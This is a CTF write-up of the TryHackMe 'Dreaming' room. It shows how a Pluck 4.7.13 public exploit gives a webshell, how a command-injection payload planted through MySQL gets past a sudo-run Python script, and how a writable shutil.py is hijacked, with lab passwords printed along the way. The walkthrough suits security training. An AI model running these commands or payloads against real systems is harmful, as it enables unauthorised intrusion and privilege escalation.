TryHackMe: Dreaming
Dreaming, contrary to the Cheese CTF had me going less times to check on write-ups, made me felt great and motivated to do even more rooms. It was a nice room in general, simple yet complete. I’m also trying automated enumeration to instead of going right to write-ups i atleast have a list of content that i might have missed and its kinda working..some tools might be overwhelming with the content but i think its good support.
https://tryhackme.com/r/room/dreaming
Initial Enumeration
Nmap Scan
We start off by doing a nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -T4 -n -sC -sV 10.10.192.151
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-27 20:40 GMT
Nmap scan report for 10.10.192.151
Host is up (0.056s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 76:26:67:a6:b0:08:0e:ed:34:58:5b:4e:77:45:92:57 (RSA)
| 256 52:3a:ad:26:7f:6e:3f:23:f9:e4:ef:e8:5a:c8:42:5c (ECDSA)
|_ 256 71:df:6e:81:f0:80:79:71:a8:da:2e:1e:56:c4:de:bb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.83 seconds
Web 80
Not much to look at so we visit port 80, just to see an apache default page:
Gobuster Scan
Next step was a gobuster scan since we couldn’t get much info from the main page of port 80:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x ".html,.txt,.php" -t 25 --timeout 20s -u http://10.10.192.151:80/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.192.151:80/
[+] Method: GET
[+] Threads: 25
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 20s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 278]
/.html (Status: 403) [Size: 278]
/index.html (Status: 200) [Size: 10918]
/app (Status: 301) [Size: 312] [--> http://10.10.192.151/app/]
/server-status (Status: 403) [Size: 278]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================
There is only one valid directory called app so we navigate to it:
We see a cms called pluck and its version 4.7.13
, and when pressing the link we go to the main page:
There is also an admin login page that we could try to login with some default credentials such as root
, admin
, password
, etc…
And lucky enough with the password password
we are in:
We don’t find much inside but after googling pluck 4.7.13
we find one exploit:
After downloading the code, to run it we just have to do as follows:
1
2
3
4
5
6
┌──(venv)─(kali㉿kali)-[~/Desktop]
└─$ python3 exploit.py 10.10.192.151 80 password /app/pluck-4.7.13/
Authentification was succesfull, uploading webshell
Uploaded Webshell to: http://10.10.192.151:80/app/pluck-4.7.13//files/shell.phar
As stated in the output we just have to go to http://10.10.192.151:80/app/pluck-4.7.13//files/shell.phar
to get access to the shell:
Our main point of interest is to retrieve the lucien’s flag first, we find it inside lucien
home directory but we don’t have permission to open it.
Lucien Flag
Next step is to search for other content related to lucien with the command:
1
2
3
4
5
6
7
8
9
p0wny@shell:/home/lucien# find / -type f -user lucien 2>/dev/null
/opt/test.py
/home/lucien/.sudo_as_admin_successful
/home/lucien/.mysql_history
/home/lucien/.bash_history
/home/lucien/.profile
/home/lucien/.bash_logout
/home/lucien/.bashrc
/home/lucien/lucien_flag.txt
Reading the /opt/test.py
file we find a password:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
p0wny@shell:/opt# cat test.py
import requests
#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "HeyLucien#@1999!"
data = {
"cont1":password,
"bogus":"",
"submit":"Log+in"
}
req = requests.post(url,data=data)
if "Password correct." in req.text:
print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
print("Something is wrong. Status Code: " + str(req.status_code))
print("Results:\n" + req.text)
Since the only other port available is port 22 we could only assume this password is for ssh:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh lucien@10.10.192.151
The authenticity of host '10.10.192.151 (10.10.192.151)' can't be established.
ED25519 key fingerprint is SHA256:TiF46IptmDF+BtUdOfJe4wi8tC9LCMA60kHMuHbVw+Y.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.192.151' (ED25519) to the list of known hosts.
{} {}
! ! II II ! !
! I__I__II II__I__I !
I_/|--|--|| ||--|--|\_I
.-'"'-. ! /|_/| | || || | |\_|\ ! .-'"'-.
/=== \ I//| | | || || | | |\\I /=== \
\== / ! /|/ | | | || || | | | \|\ ! \== /
\__ _/ I//| | | | || || | | | |\\I \__ _/
_} {_ ! /|/ | | | | || || | | | | \|\ ! _} {_
{_____} I//| | | | | || || | | | | |\\I {_____}
! ! |= |=/|/ | | | | | || || | | | | | \|\=|- | ! !
_I__I__|= ||/| | | | | | || || | | | | | |\|| |__I__I_
-|--|--|- || | | | | | | || || | | | | | | ||= |--|--|-
_|__|__| ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||- |__|__|_
-|--|--| ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-|| |--|--|-
| | |= || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | ||= | | |
| | |- || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | ||= | | |
| | |= || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | ||- | | |
_|__|__| || | | | | | | || || | | | | | | ||= |__|__|_
-|--|--|= || | | | | | | || || | | | | | | || |--|--|-
_|__|__| ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||- |__|__|_
-|--|--|= ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||= |--|--|-
jgs | |- || | | | | | | || || | | | | | | ||- | | |
~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~
W e l c o m e, s t r a n g e r . . .
lucien@10.10.192.151's password:
...
lucien@dreaming:~$
Now that we are inside we can read the lucien flag:
1
2
3
4
lucien@dreaming:~$ ls
lucien_flag.txt
lucien@dreaming:~$ cat lucien_flag.txt
THM{REDACTED}
Death Flag
Doing what we did with lucien to find related content we can do the same with death:
1
2
3
4
5
6
7
8
9
10
11
lucien@dreaming:/home/death$ find / -type f -user death 2>/dev/null
/opt/getDreams.py
/home/death/.viminfo
/home/death/.mysql_history
/home/death/getDreams.py
/home/death/.bash_history
/home/death/.wget-hsts
/home/death/.profile
/home/death/.bash_logout
/home/death/death_flag.txt
/home/death/.bashrc
When reading getDreams.py
we find the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import mysql.connector
import subprocess
# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"
import mysql.connector
import subprocess
def getDreams():
try:
# Connect to the MySQL database
connection = mysql.connector.connect(
host="localhost",
user=DB_USER,
password=DB_PASS,
database=DB_NAME
)
# Create a cursor object to execute SQL queries
cursor = connection.cursor()
# Construct the MySQL query to fetch dreamer and dream columns from dreams table
query = "SELECT dreamer, dream FROM dreams;"
# Execute the query
cursor.execute(query)
# Fetch all the dreamer and dream information
dreams_info = cursor.fetchall()
if not dreams_info:
print("No dreams found in the database.")
else:
# Loop through the results and echo the information using subprocess
for dream_info in dreams_info:
dreamer, dream = dream_info
command = f"echo {dreamer} + {dream}"
shell = subprocess.check_output(command, text=True, shell=True)
print(shell)
except mysql.connector.Error as error:
# Handle any errors that might occur during the database connection or query execution
print(f"Error: {error}")
finally:
# Close the cursor and connection
cursor.close()
connection.close()
# Call the function to echo the dreamer and dream information
getDreams()
The DB_PASS
is redacted we can’t really do much so we keep enumerating.
Doing sudo -l
we see that we are able to execute the script getDreams.py
as the user death
using sudo
, which is located in the user’s home directory.
1
2
3
4
5
6
7
lucien@dreaming:~$ sudo -1
Matching Defaults entries for lucien on dreaming:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin:/sbin:/bin\:/snap/bin
User lucien may run the following commands on dreaming:
(death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py lucien@dreaming:~$
And running the script as death we get the following:
1
2
3
4
5
6
7
8
lucien@dreaming:~$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky
Bob + Exploring ancient ruins
Carol + Becoming a successful entrepreneur
Dave + Becoming a professional musician
Going on with the enumeration, using the command history
we find some interesting commands:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
lucien@dreaming:~$ history
...
24 mysql -u lucien -plucien42DBPASSWORD
25 ls -la
26 cat .bash_history
27 cat .mysql_history
28 clear
29 ls
30 ls -la
31 rm .mysql_history
32 clear
33 history
34 exit
35 clear
36 ls
37 clear
38 cd /opt
39 ls
40 clear
41 nano test.sh
42 ls -la
43 su root
44 ls
45 mv test.sh test.py
46 ls -la
47 history
48 nano ~/.bash_history
49 su root
50 clear
51 mysql -u lucien -p
52 clear
53 history
54 exit
55 clear
56 ls
57 history
58 cd ~~
59 cd ~
60 cat .bash_history
61 clear
62 ls
63 sudo -l
64 /usr/bin/python3 /home/death/getDreams.py
65 sudo -u death /usr/bin/python3 /home/death/getDreams.py
66 clear
67 mysql -u lucien -p
68 mysql -u root -p
69 su root
70 clear
71 ls
We have the credentials to log into mysql as lucien:
1
2
3
4
5
6
7
8
9
10
11
lucien@dreaming: /home/death$ mysql -u lucien -plucien42DBPASSWORD
mysql: [Warning] Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with; or \g.
Your MySQL connection id is 24
Server version: 8.0.33-0ubuntu0.20.04.4 (Ubuntu)
Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other name may be trademarks of their respective
owners.
Type 'help;' or '\n' for help. Type '\c' to clear the current input statement.
Using the information we got from the getDreams.py file we know they are using the library
database, so now we can get inside it and access its content.
Going back to the syntax we see that if we insert into the database a command that displays the real getDreams.py
we can get the death password just like we did with test.py
. We can do it by using the following command:
1
2
mysql> insert into dreams(dreamer,dream) values ('cat /home/death/getDreams.py | bash', '-l');
Query OK, 1 row affected (0.01 sec)
When we run the sudo command again as death it will give us the source code of getDreams.py
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
lucien@dreaming:~$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky
Bob + Exploring ancient ruins
Carol + Becoming a successful entrepreneur
Dave + Becoming a professional musician
import mysql.connector
import subprocess
# MySQL credentials
DB_USER = "death"
DB_PASS = "!mementoMORI666!"
DB_NAME = "library"
def getDreams():
try:
# Connect to the MySQL database
connection = mysql.connector.connect(
host="localhost",
user=DB_USER,
password=DB_PASS,
database=DB_NAME
)
# Create a cursor object to execute SQL queries
cursor = connection.cursor()
# Construct the MySQL query to fetch dreamer and dream columns from dreams table
query = "SELECT dreamer, dream FROM dreams;"
# Execute the query
cursor.execute(query)
# Fetch all the dreamer and dream information
dreams_info = cursor.fetchall()
if not dreams_info:
print("No dreams found in the database.")
else:
# Loop through the results and echo the information using subprocess
for dream_info in dreams_info:
dreamer, dream = dream_info
command = f"echo {dreamer} + {dream}"
shell = subprocess.check_output(command, text=True, shell=True)
print(shell)
except mysql.connector.Error as error:
# Handle any errors that might occur during the database connection or query execution
print(f"Error: {error}")
finally:
# Close the cursor and connection
cursor.close()
connection.close()
# Call the function to echo the dreamer and dream information
getDreams()
And to get the flag we log into death’s machine through ssh and read the file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh death@10.10.192.151
{} {}
! ! II II ! !
! I__I__II II__I__I !
I_/|--|--|| ||--|--|\_I
.-'"'-. ! /|_/| | || || | |\_|\ ! .-'"'-.
/=== \ I//| | | || || | | |\\I /=== \
\== / ! /|/ | | | || || | | | \|\ ! \== /
\__ _/ I//| | | | || || | | | |\\I \__ _/
_} {_ ! /|/ | | | | || || | | | | \|\ ! _} {_
{_____} I//| | | | | || || | | | | |\\I {_____}
! ! |= |=/|/ | | | | | || || | | | | | \|\=|- | ! !
_I__I__|= ||/| | | | | | || || | | | | | |\|| |__I__I_
-|--|--|- || | | | | | | || || | | | | | | ||= |--|--|-
_|__|__| ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||- |__|__|_
-|--|--| ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-|| |--|--|-
| | |= || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | ||= | | |
| | |- || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | ||= | | |
| | |= || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | || | | |
| | | || | | | | | | || || | | | | | | ||- | | |
_|__|__| || | | | | | | || || | | | | | | ||= |__|__|_
-|--|--|= || | | | | | | || || | | | | | | || |--|--|-
_|__|__| ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||- |__|__|_
-|--|--|= ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||= |--|--|-
jgs | |- || | | | | | | || || | | | | | | ||- | | |
~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~
W e l c o m e, s t r a n g e r . . .
death@10.10.192.151's password:
...
death@dreaming:~$ ls
death_flag.txt getDreams.py
death@dreaming:~$ cat death_flag.txt
THM{REDACTED}
death@dreaming:~$
Morpheus Flag
We still need to get the morpheus flag, to do so we will investigate its home directory.
Inside we find a file called restore.py
and reading it gives the following:
1
2
3
4
5
6
7
8
9
10
death@dreaming:/home/morpheus$ ls
kingdom morpheus_flag.txt restore.py
death@dreaming:/home/morpheus$ cat restore.py
from shutil import copy2 as backup
src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"
backup(src_file, dst_file)
print("The kingdom backup has been done!")
We don’t see much but after looking better at the shutil
package we find that we have the permissions to edit the main file:
1
2
3
4
5
6
death@dreaming:/home/morpheus$ find / -type f -name shutil.py 2>/dev/null
/usr/lib/python3.8/shutil.py
/snap/core20/1974/usr/lib/python3.8/shutil.py
/snap/core20/2015/usr/lib/python3.8/shutil.py
death@dreaming:/home/morpheus$ ls -la /usr/lib/python3.8/shutil.py
-rw-rw-r-- 1 root death 51474 Aug 7 2023 /usr/lib/python3.8/shutil.py
We will write a command inside the shutil.py
, using nano
, that gives us permission to read morpheus flag without needing to switch users.
And now we can read morpheu’s flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
death@dreaming:/home/morpheus$ ls -la
total 44
drwxr-xr-x 3 morpheus morpheus 4096 Aug 7 2023 .
drwxr-xr-x 5 root root 4096 Jul 28 2023 ..
-rw------- 1 morpheus morpheus 58 Aug 14 2023 .bash_history
-rw-r--r-- 1 morpheus morpheus 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 morpheus morpheus 3771 Feb 25 2020 .bashrc
-rw-rw-r-- 1 morpheus morpheus 22 Jul 28 2023 kingdom
drwxrwxr-x 3 morpheus morpheus 4096 Jul 28 2023 .local
-rwxrwxrwx 1 morpheus morpheus 28 Jul 28 2023 morpheus_flag.txt
-rw-r--r-- 1 morpheus morpheus 807 Feb 25 2020 .profile
-rw-rw-r-- 1 morpheus morpheus 180 Aug 7 2023 restore.py
-rw-rw-r-- 1 morpheus morpheus 66 Jul 28 2023 .selected_editor
death@dreaming:/home/morpheus$ cat morpheus_flag.txt
THM{REDACTED}